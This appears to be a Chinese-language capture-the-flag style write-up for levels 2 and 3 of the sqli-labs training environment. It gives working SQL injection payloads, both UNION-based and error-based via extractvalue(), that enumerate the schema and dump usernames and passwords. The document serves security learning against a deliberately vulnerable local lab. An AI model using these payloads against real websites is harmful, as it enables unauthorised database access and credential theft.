環(huán)境:本地環(huán)境,基于sqli-labs1.sqli-labs第二關(guān)(基于get的整數(shù)型注入) 通過(guò)代碼審計(jì),或者回顯可以看出,輸入的內(nèi)容被原封不動(dòng)的帶入到數(shù)據(jù)庫(kù)中,這種也叫數(shù)字型注入 我這里其實(shí)是可以直接獲取到用戶名和密碼,但是為了那些個(gè)小白呢,我從頭開(kāi)始吧 1.1 獲取數(shù)據(jù)庫(kù) 構(gòu)造sql: id=81 union select 1,2,database() -- + 1.2 獲取數(shù)據(jù)庫(kù)的表 構(gòu)造sql: ?id=81 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database() )-- + 1.3 獲取user表里的字段信息 構(gòu)造sql: ?id=81 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users' ) -- + 1.4 獲取users表里字段獲取用戶名和密碼 構(gòu)造sql: ?id=81 union select 1,2,(select group_concat(username,'::',password) from users) -- + 這里可以看到,用戶名和密碼了,結(jié)束了,再來(lái)看第二種方法,手工報(bào)錯(cuò)注入試試,主要是練習(xí)使用 另外的方法 構(gòu)造sql: ?id=1 and extractvalue(1,concat(0x58,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('first_name','last_name')))) -- + 獲取用戶名和密碼,和上面一樣,這里就不截圖了2. sqli-labs第三關(guān) get 下單引號(hào)變形引發(fā)的sql注入 經(jīng)過(guò)測(cè)試和代碼審計(jì)可以看出,輸入1'時(shí) 會(huì)報(bào)錯(cuò),出現(xiàn)了)這個(gè),所以再一類構(gòu)造減肥參數(shù)時(shí)需要 加入 ')來(lái)閉合才能執(zhí)行成功,有正常的回顯 2.1 我這里就直接獲取用戶表里的列 構(gòu)造sql ?id=-1' ) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') -- + 2.2 獲取用戶名和密碼 構(gòu)造sql: ?id=-1' ) union select 1,2,(select group_concat(username,0x23,password) from users) -- + 另外一種方法:使用extractvalue()來(lái)實(shí)現(xiàn) 構(gòu)造sql id=1' ) and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','fail') ))) -- + 獲取用戶名和密碼 構(gòu)造sql ?id=1' ) and extractvalue(1,concat(0x23,(select group_concat(username,0x23,password) from users ))) -- + |
|
來(lái)自: 新用戶26922hFh > 《待分類》